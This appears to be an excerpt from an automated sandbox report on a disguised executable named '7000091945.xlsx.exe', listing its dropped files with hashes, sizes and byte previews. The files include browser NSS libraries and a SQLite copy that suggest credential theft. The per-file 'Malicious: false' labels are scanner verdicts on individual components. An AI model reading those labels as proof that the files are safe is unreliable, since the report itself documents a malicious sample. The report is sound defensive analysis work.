SSDEEP:	1536:VAHEGlVDe5c4bFE2Jy2cvxXWpD9d3334BkZnkPFZo6kt:Vc7De5c4bFE2Jy2cvxXWpD9d3334BkZj
MD5:	9910A1BFDC41C5B39F6AF37F0A22AACD
SHA1:	47FA76778556F34A5E7910C816C78835109E4050
SHA-256:	65DED8D2CE159B2F5569F55B2CAF0E2C90F3694BD88C89DE790A15A49D8386B9
SHA-512:	A9788D0F8B3F61235EF4740724B4A0D8C0D3CF51F851C367CC9779AB07F208864A7F1B4A44255E0DE8E030D84B63B1BDB58F12C8C20455FF6A55EF6207B31A91
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....^1...........!................................................................R.....@.............................................................8=..............T............................................................................text............................... ..`.rsrc...............................@..@v.....................^1........:...d...d.........^1........d.................^1....................RSDS.J..w/.8..bu..3.....api-ms-win-crt-private-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg............edata......`....rsrc$01....`........rsrc$02......................^1.....>..............8...h#...5...>...?..7?.._?...?...?...?...@..V@...@...@...@..+A..\A...A...A...A...B..LB...B...B...C..HC...C...C...C...C...D..HD...D...D...E..eE...E...E...F..1F..gF...F...F...G..BG..uG...G..

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-process-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19256
Entropy (8bit):	7.076072254895036
Encrypted:	false
SSDEEP:	192:aRQqjd7dWIghWG4U9kuDz7M123Ouo+Uggs/nGfe4pBjSbAURWh0txKdmVWQ4CW+6:aKcWPhWFkDz6i00GftpBjYemZlUG+zIU
MD5:	8D02DD4C29BD490E672D271700511371
SHA1:	F3035A756E2E963764912C6B432E74615AE07011
SHA-256:	C03124BA691B187917BA79078C66E12CBF5387A3741203070BA23980AA471E8B
SHA-512:	D44EF51D3AAF42681659FFFFF4DD1A1957EAF4B8AB7BB798704102555DA127B9D7228580DCED4E0FC98C5F4026B1BAB242808E72A76E09726B0AF839E384C3B0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...l.h............!......................... ...............................0.......U....@.............................x............ ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v...................l.h.........:...d...d.......l.h.........d...............l.h.....................RSDSZ\.qM..I....3.....api-ms-win-crt-process-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg.......x....edata... ..`....rsrc$01....` .......rsrc$02....................l.h.............$...$...8.......X...................&...@...Y...q...........................*...E..._...z.......................!...<...V...q...........................9...V...t.......................7...R...i...

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-runtime-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	22840
Entropy (8bit):	6.942029615075195
Encrypted:	false
SSDEEP:	384:7b7hrKwWPhWFlsnhi00GftpBj+6em90lmTMiLzrF7:7bNrKxZnhoig6eQN7
MD5:	41A348F9BEDC8681FB30FA78E45EDB24
SHA1:	66E76C0574A549F293323DD6F863A8A5B54F3F9B
SHA-256:	C9BBC07A033BAB6A828ECC30648B501121586F6F53346B1CD0649D7B648EA60B
SHA-512:	8C2CB53CCF9719DE87EE65ED2E1947E266EC7E8343246DEF6429C6DF0DC514079F5171ACD1AA637276256C607F1063144494B992D4635B01E09DDEA6F5EEF204
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....L............!.........................0...............................@.......i....@..........................................0..................8=..............T............................................................................text............................... ..`.rsrc........0......................@..@v.....................L.........:...d...d.........L.........d.................L.....................RSDS6..>[d.=. ....C....api-ms-win-crt-runtime-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02......................L.....f.......k...k...8...............................4...S...s.......................E...g.......................)...N...n...................&...E...f...................'...D...j.......................>.......

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-stdio-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	24368
Entropy (8bit):	6.873960147000383
Encrypted:	false
SSDEEP:	384:GZpFVhjWPhWxEi00GftpBjmjjem3Cl1z6h1r:eCfoi0espbr
MD5:	FEFB98394CB9EF4368DA798DEAB00E21
SHA1:	316D86926B558C9F3F6133739C1A8477B9E60740
SHA-256:	B1E702B840AEBE2E9244CD41512D158A43E6E9516CD2015A84EB962FA3FF0DF7
SHA-512:	57476FE9B546E4CAFB1EF4FD1CBD757385BA2D445D1785987AFB46298ACBE4B05266A0C4325868BC4245C2F41E7E2553585BFB5C70910E687F57DAC6A8E911E8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!.........................0...............................@.......)....@.............................a............0..............."..0=..............T............................................................................text...a........................... ..`.rsrc........0......................@..@v...............................8...d...d...................d.......................................RSDS...iS#.hg.....j....api-ms-win-crt-stdio-l1-1-0.pdb.........d....rdata..d........rdata$zzzdbg.......a....edata...0..`....rsrc$01....`0.......rsrc$02................^...............(....... ...................<...y...........)...h........... ...]...............H...............)...D...^...v...............................T...u.......................9...Z...{...................0...Q...

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-string-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	23488
Entropy (8bit):	6.840671293766487
Encrypted:	false
SSDEEP:	384:5iFMx0C5yguNvZ5VQgx3SbwA7yMVIkFGlnWPhWGTi00GftpBjslem89lgC:56S5yguNvZ5VQgx3SbwA71IkFv5oialj
MD5:	404604CD100A1E60DFDAF6ECF5BA14C0
SHA1:	58469835AB4B916927B3CABF54AEE4F380FF6748
SHA-256:	73CC56F20268BFB329CCD891822E2E70DD70FE21FC7101DEB3FA30C34A08450C
SHA-512:	DA024CCB50D4A2A5355B7712BA896DF850CEE57AA4ADA33AAD0BAE6960BCD1E5E3CEE9488371AB6E19A2073508FBB3F0B257382713A31BC0947A4BF1F7A20BE4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......S...........!.........................0...............................@......B.....@..........................................0..............."...9..............T............................................................................text............................... ..`.rsrc........0......................@..@v......................S........9...d...d..........S........d..................S....................RSDSI.......$[~f..5....api-ms-win-crt-string-l1-1-0.pdb............d....rdata..d........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02.......................S....,...............8...........W...s.......................#...B...a...........................<...[...z.......................;...[...{................... ...A...b...........................<...X...r.......

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-time-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20792
Entropy (8bit):	7.018061005886957
Encrypted:	false
SSDEEP:	384:8ZSWWVgWPhWFe3di00GftpBjnlfemHlUG+zITA+0:XRNoibernAA+0
MD5:	849F2C3EBF1FCBA33D16153692D5810F
SHA1:	1F8EDA52D31512EBFDD546BE60990B95C8E28BFB
SHA-256:	69885FD581641B4A680846F93C2DD21E5DD8E3BA37409783BC5B3160A919CB5D
SHA-512:	44DC4200A653363C9A1CB2BDD3DA5F371F7D1FB644D1CE2FF5FE57D939B35130AC8AE27A3F07B82B3428233F07F974628027B0E6B6F70F7B2A8D259BE95222F5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....OI...........!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v....................OI........7...d...d........OI........d................OI....................RSDS...s..,E.w.9I..D....api-ms-win-crt-time-l1-1-0.pdb..........d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.........OI............H...H...(...H...h... ...=...\...z.......................8...V...s.......................&...D...a...~.......................?...b.......................!...F...k.......................0...N...k...................

C:\Users\user\AppData\Local\Temp\041FFB21\api-ms-win-crt-utility-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.127951145819804
Encrypted:	false
SSDEEP:	192:QqfHQdu3WIghWG4U9lYdsNtL/123Ouo+Uggs/nGfe4pBjSb8Z9Wh0txKdmVWQ4Cg:/fBWPhWF+esnhi00GftpBjLBemHlP55q
MD5:	B52A0CA52C9C207874639B62B6082242
SHA1:	6FB845D6A82102FF74BD35F42A2844D8C450413B
SHA-256:	A1D1D6B0CB0A8421D7C0D1297C4C389C95514493CD0A386B49DC517AC1B9A2B0
SHA-512:	18834D89376D703BD461EDF7738EB723AD8D54CB92ACC9B6F10CBB55D63DB22C2A0F2F3067FE2CC6FEB775DB397030606608FF791A46BF048016A1333028D0A4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....!5............!......................... ...............................0.......4....@.............................^............ ..................8=..............T............................................................................text...n........................... ..`.rsrc........ ......................@..@v....................!5.........:...d...d........!5.........d................!5.....................RSDS............k.....api-ms-win-crt-utility-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg.......^....edata... ..`....rsrc$01....` .......rsrc$02.....................!5.....d...............8.......(...................#...<...U...l...............................+...@...[...r...................................4...I..._.......................3...N...e...\|.......................

C:\Users\user\AppData\Local\Temp\041FFB21\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	332752
Entropy (8bit):	6.8061257098244905
Encrypted:	false
SSDEEP:	6144:C+YBCxpjbRIDmvby5xDXlFVJM8PojGGHrIr1qqDL6XP+jW:Cu4Abg7XV72GI/qn6z
MD5:	343AA83574577727AABE537DCCFDEAFC
SHA1:	9CE3B9A182429C0DBA9821E2E72D3AB46F5D0A06
SHA-256:	393AE7F06FE6CD19EA6D57A93DD0ACD839EE39BA386CF1CA774C4C59A3BFEBD8
SHA-512:	827425D98BA491CD30929BEE6D658FCF537776CE96288180FE670FA6320C64177A7214FF4884AE3AA68E135070F28CA228AFB7F4012B724014BA7D106B5F0DCE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........./...AV..AV..AV...V..AV].@W..AV.1.V..AV].BW..AV].DW..AV].EW..AV..@W..AVO.@W..AV..@V.AVO.BW..AVO.EW..AVO.AW..AVO.V..AVO.CW..AVRich..AV........................PE..L......Z.........."!.........f...............................................p......o.....@.............................P...`........@..p....................P..........T...........................8...@...............8............................text...U........................... ..`.rdata..............................@..@.data...lH..........................@....rsrc...p....@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\041FFB21\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	139216
Entropy (8bit):	6.841477908153926
Encrypted:	false
SSDEEP:	3072:8Oqe98Ea4usvd5jm6V0InXx/CHzGYC6NccMmxK3atIYHD2JJJsPyimY4kQkE:Vqe98Evua5Sm0ux/5YC6NccMmtXHD2JR
MD5:	9E682F1EB98A9D41468FC3E50F907635
SHA1:	85E0CECA36F657DDF6547AA0744F0855A27527EE
SHA-256:	830533BB569594EC2F7C07896B90225006B90A9AF108F49D6FB6BEBD02428B2D
SHA-512:	230230722D61AC1089FABF3F2DECFA04F9296498F8E2A2A49B1527797DCA67B5A11AB8656F04087ACADF873FA8976400D57C77C404EBA4AFF89D92B9986F32ED
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......."yQ.f.?Mf.?Mf.?Mo`.Mv.?M.z>Lb.?M...Md.?M.z<Lh.?M.z;Lm.?M.z:Lu.?MDx>Lo.?Mf.>M..?M.{1Lu.?M.{?Lg.?M.{.Mg.?M.{=Lg.?MRichf.?M................PE..L......Z.........."!.........................................................@............@.............................\...L...,.... ..p....................0......p...T...............................@...................T...@....................text............................... ..`.rdata...b.......d..................@..@.data...............................@....rsrc...p.... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\041FFB21\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	440120
Entropy (8bit):	6.652844702578311
Encrypted:	false
SSDEEP:	12288:Mlp4PwrPTlZ+/wKzY+dM+gjZ+UGhUgiW6QR7t5s03Ooc8dHkC2es9oV:Mlp4PePozGMA03Ooc8dHkC2ecI
MD5:	109F0F02FD37C84BFC7508D4227D7ED5
SHA1:	EF7420141BB15AC334D3964082361A460BFDB975
SHA-256:	334E69AC9367F708CE601A6F490FF227D6C20636DA5222F148B25831D22E13D4
SHA-512:	46EB62B65817365C249B48863D894B4669E20FCB3992E747CD5C9FDD57968E1B2CF7418D1C9340A89865EADDA362B8DB51947EB4427412EB83B35994F932FD39
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........A.........V5=......A.....;........."...;......;......;.......;.......;......;.-....;......Rich...........PE..L....8'Y.........."!................P........ ......................................az....@A.........................C.......R..,....................x..8?......4:...f..8............................(..@............P.......@..@....................text...r........................... ..`.data....(... ......................@....idata..6....P....... ..............@..@.didat..4....p.......6..............@....rsrc................8..............@..@.reloc..4:.......<...<..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\041FFB21\nss3.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1244112
Entropy (8bit):	6.809431682312062
Encrypted:	false
SSDEEP:	24576:XDI7I4/FeoJQuQ3IhXtHfjyqgJ0BnPQAib7/12bg2JSna5xfg0867U4MSpu731hn:uQ3YX5jyqgynPkbd24VwMSpu7Fhn
MD5:	556EA09421A0F74D31C4C0A89A70DC23
SHA1:	F739BA9B548EE64B13EB434A3130406D23F836E3
SHA-256:	F0E6210D4A0D48C7908D8D1C270449C91EB4523E312A61256833BFEAF699ABFB
SHA-512:	2481FC80DFFA8922569552C3C3EBAEF8D0341B80427447A14B291EC39EA62AB9C05A75E85EEF5EA7F857488CAB1463C18586F9B076E2958C5A314E459045EDE2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........x..c+..c+..c+...+..c++.b..c+lh.+..c++.`..c++.f..c++.g..c+.b..c+9.b..c+..b+..c+9.k..c+9.gC.c+9.c..c+9..+..c+9.a..c+Rich..c+................PE..L...a..Z.........."!................T........................................@............@.............................d....<..T.......h.......................t~..0...T...............................@............................................text............................... ..`.rdata...P.......R..................@..@.data....E...`... ...:..............@....rsrc...h............Z..............@..@.reloc..t~...........^..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\041FFB21\nssdbm3.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	92624
Entropy (8bit):	6.639368309935547
Encrypted:	false
SSDEEP:	1536:5vNGVOt0VjOJkbH8femxfRVMNKBDuOQWL1421GlkxERC+ANcFZoZ/6tNRCwI41ZH:hNGVOiBZbcGmxXMcBqmzoCUZoZebHZMw
MD5:	569A7A65658A46F9412BDFA04F86E2B2
SHA1:	44CC0038E891AE73C43B61A71A46C97F98B1030D
SHA-256:	541A293C450E609810279F121A5E9DFA4E924D52E8B0C6C543512B5026EFE7EC
SHA-512:	C027B9D06C627026774195D3EAB72BD245EBBF5521CB769A4205E989B07CB4687993A47061FF6343E6EC1C059C3EC19664B52ED3A1100E6A78CFFB1C46472AFB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........Z.Y.4.Y.4.Y.4.P...U.4...5.[.4..y.Q.4...7.X.4...1.S.4...0.R.4.{.5.[.4...5.Z.4.Y.5...4...0.A.4...4.X.4....X.4...6.X.4.RichY.4.........................PE..L......Z.........."!.........0...............0............................................@..........................?.......@.......`..p............L.......p.......:..T...........................(;..@............0..X............................text............................... ..`.rdata..4....0... ..................@..@.data........P.......>..............@....rsrc...p....`.......@..............@..@.reloc.......p.......D..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\041FFB21\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	144336
Entropy (8bit):	6.5527585854849395
Encrypted:	false
SSDEEP:	3072:zAf6suip+z7FEk/oJz69sFaXeu9CoT2nIZvetBWqIBoE9Mv:Q6PpsF4CoT2EeY2eMv
MD5:	67827DB2380B5848166A411BAE9F0632
SHA1:	F68F1096C5A3F7B90824AA0F7B9DA372228363FF
SHA-256:	9A7F11C212D61856DFC494DE111911B7A6D9D5E9795B0B70BBBC998896F068AE
SHA-512:	910E15FD39B48CD13427526FDB702135A7164E1748A7EACCD6716BCB64B978FE333AC26FA8EBA73ED33BD32F2330D5C343FCD3F0FE2FFD7DF54DB89052DB7148
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l$...JO..JO..JO.u.O..JO?oKN..JO?oIN..JO?oON..JO?oNN..JO.mKN..JO-nKN..JO..KO~.JO-nNN..JO-nJN..JO-n.O..JO-nHN..JORich..JO........PE..L......Z.........."!.........`...............................................P......+Z....@..........................................0..p....................@..`.......T...........................(...@...............l............................text.............................. ..`.rdata...C.......D..................@..@.data........ ......................@....rsrc...p....0......................@..@.reloc..`....@......................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\041FFB21\ucrtbase.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1142072
Entropy (8bit):	6.809041027525523
Encrypted:	false
SSDEEP:	24576:bZBmnrh2YVAPROs7Bt/tX+/APcmcvIZPoy4TbK:FBmF2lIeaAPgb
MD5:	D6326267AE77655F312D2287903DB4D3
SHA1:	1268BEF8E2CA6EBC5FB974FDFAFF13BE5BA7574F
SHA-256:	0BB8C77DE80ACF9C43DE59A8FD75E611CC3EB8200C69F11E94389E8AF2CEB7A9
SHA-512:	11DB71D286E9DF01CB05ACEF0E639C307EFA3FEF8442E5A762407101640AC95F20BAD58F0A21A4DF7DBCDA268F934B996D9906434BF7E575C4382281028F64D4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........E..............o........p..................................................................Rich............................PE..L....3............!.....Z...........=.......p...............................p............@A........................`................................0..8=......$... ...T...........................H...@............................................text....Z.......Z.................. ..`.data........p.......^..............@....idata..6............l..............@..@.rsrc...............................@..@.reloc..$...........................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\041FFB21\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83784
Entropy (8bit):	6.890347360270656
Encrypted:	false
SSDEEP:	1536:AQXQNgAuCDeHFtg3uYQkDqiVsv39niI35kU2yecbVKHHwhbfugbZyk:AQXQNVDeHFtO5d/A39ie6yecbVKHHwJF
MD5:	7587BF9CB4147022CD5681B015183046
SHA1:	F2106306A8F6F0DA5AFB7FC765CFA0757AD5A628
SHA-256:	C40BB03199A2054DABFC7A8E01D6098E91DE7193619EFFBD0F142A7BF031C14D
SHA-512:	0B63E4979846CEBA1B1ED8470432EA6AA18CCA66B5F5322D17B14BC0DFA4B2EE09CA300A016E16A01DB5123E4E022820698F46D9BAD1078BD24675B4B181E91F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........NE...E...E.....".G...L.^.N...E...l.......U.......V.......A......._.......D.....2.D.......D...RichE...........PE..L....8'Y.........."!......... ...............................................@............@A......................................... ..................H?...0..........8...............................@............................................text............................... ..`.data...D...........................@....idata..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\65599535630694532282741.tmp

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsf7C24.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	5.737874809466366
Encrypted:	false
SSDEEP:	192:nenY0qWTlt70IAj/lQ0sEWc/wtYbBH2aDybC7y+XBDIwL:n8+Qlt70Fj/lQRY/9VjjfL
MD5:	564BB0373067E1785CBA7E4C24AAB4BF
SHA1:	7C9416A01D821B10B2EEF97B80899D24014D6FC1
SHA-256:	7A9DDEE34562CD3703F1502B5C70E99CD5BBA15DE2B6845A3555033D7F6CB2A5
SHA-512:	22C61A323CB9293D7EC5C7E7E60674D0E2F7B29D55BE25EB3C128EA2CD7440A1400CEE17C43896B996278007C0D247F331A9B8964E3A40A0EB1404A9596C4472
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L.....$_...........!....."...........).......@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text...O .......".................. ..`.rdata..c....@.......&..............@..@.data...x....P.....................@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\udstrmningsdysernes\eir\Speckly\Rgerrige\Intuitionernes.bnd

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	data
Category:	dropped
Size (bytes):	229793
Entropy (8bit):	1.4642031564062232
Encrypted:	false
SSDEEP:	768:C+HPGJfVhPDQHMt0DQ1oeTUifi7iY+kU2CcSlnM62d9u1M2cys0UZgJ2T7KgZfxu:Efr35cs2HMrJnaKxBt+aEROhXv
MD5:	756B6EF5A3A2F1325C8C405839AE2038
SHA1:	1CB4E016E36E79CC086C7E329C1890715EB646FE
SHA-256:	2C18506F37F06DAD09462BF79F818FDC4765A96127DB132F703E1E02C0D79592
SHA-512:	87300A4D16EAB9AD221F24813EFDD05381BB157B6EEFDD1933CA94CBE1B6629005FCFE730F6BD92F3752D08BA2E1799E9D5D41CA220750707BCAA5FB1F228CB4
Malicious:	false
Preview:	.Q<.......`..............X........5...\|.i...................................................G.........]..............a.............................................d................................3.....................................t............................&..w.................................................................../...............V............v........u............p..........................................6......?(..{......................1_.!............M.k......?.....................[.........................................................w.......................................................W.....J............+....................v.......?.................$...................o...................................................................b...............g...........b............................&.................................k.................N....................$.....................U...................................................................k

C:\Users\user\udstrmningsdysernes\eir\Speckly\Rgerrige\Periwinkled.Skr254

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	464400
Entropy (8bit):	6.917010810847442
Encrypted:	false
SSDEEP:	12288:S+6JuFffpJzCZSjWBfvkPaQZcVQ8ivSyQ:S3u/6KjcAv+
MD5:	62CF8DFAB205B87522172A67CCEA2704
SHA1:	D6CDACE881BF98A135BF778C5B2EA351B4D7807B
SHA-256:	65BB63504656B1DA8DEE5F329632F676FBCB3CB3114A118B401FCBCA1853170F
SHA-512:	6A0008B7126A88CCB20697596A023D09D580EB340B30C3CD624548DF66E93CF0BF7708A23B641EB35BE7622C3BE300B073C0E3209D763B219887F157A7C064DC
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\udstrmningsdysernes\eir\Speckly\Rgerrige\Undefectiveness.pro

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	data
Category:	dropped
Size (bytes):	171443
Entropy (8bit):	1.467810786620408
Encrypted:	false
SSDEEP:	768:+T/eEYQyXFjCARfNh1z15a7qOvlkh351RvrhT9FMhTEM/9jXv8qB9N2sRm1T/6W2:RAoFmSZV0Vj7QUJ
MD5:	4D31FDE37F1657C182DDFF79B4E2B5A5
SHA1:	EE293492272CEE9058214B108DC218F022FEE640
SHA-256:	8197FC9064BC99075F05C0A176C449EAA87D3A284A2304369085BB332530FA15
SHA-512:	CA06B5CCE74F433D5BD118EE19E9744DBE409548232155825844684BB5292B7C4B5FCFA54FD10AEB91E09F75A253547BD3B0148814DF0250B0D43470D28CBFFB
Malicious:	false
Preview:	....d..........L...j.....O.......8.............................c...........................................q............................................................S............................................................;...............!..u....X..................i......0...?.................H..........s......................................Q..........................................^....Um........................................................I.......d...&......................!..L..................F.............U................(...............................................................[...............................................................................................t..........d...=.....#...J.................................................................................a................................................f..........~.....................................?............"............T.................s...............................?.............

C:\Users\user\udstrmningsdysernes\eir\Speckly\Watched\hocuses.cur

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	data
Category:	dropped
Size (bytes):	121525
Entropy (8bit):	1.4739029245635806
Encrypted:	false
SSDEEP:	768:YZwdEH/XamBWv0E5OO5FVi+7ACsFm49yq4s0Xt2xFBM6tooBUi6uko:t+va6bEb/3bYZF6q
MD5:	50B41E3EEF8B5D219355CACC44D31161
SHA1:	91ADD8F503E9EFE734623542BC1AEB2091A40A95
SHA-256:	E58C68FE961C8E03A5F463A13720A4CA168A7EF1AD8EA8182392A9811C277D5E
SHA-512:	C0C2BA04ADBD5F986F42A29B1B3C9A0B436E12690DB64B30850384A21ACAFB4EAACBD8F060AAC46EBA315D330BBCD4910C3ACBBD3AFD586DC2AAD0D74DC5EA55
Malicious:	false
Preview:	..........b....../.........................U............................]......................t...................K.................N.................J.............5........C..............................k.............1..............E......+`....................................J....................Y..........................................+.........]....U................C.............../......................d...8.........................................6...................................................................A......2..........................................................................r......................-.............z....V.(..............m...;..................e..........P....................................@.............................................................................................n.......(..r.....>......K..X~.................._.?..............................&.............w..........l......"...........................7.........................

C:\Users\user\udstrmningsdysernes\eir\Speckly\Watched\zeolitter.txt

Download File

Process:	C:\Users\user\Desktop\7000091945.xlsx.exe
File Type:	ASCII text, with very long lines (312), with no line terminators
Category:	dropped
Size (bytes):	312
Entropy (8bit):	4.293553387460343
Encrypted:	false
SSDEEP:	6:wxqZuEqXE6v8wJ6ARsI+SiCRyxijdLcE9PV7ONxobNFPCABVRRQBHYj/:wcZuEqXZJbT+0yx2pVUqCORRQBHYj/
MD5:	7E339110B2D68CE5ED88614C32B7A56E
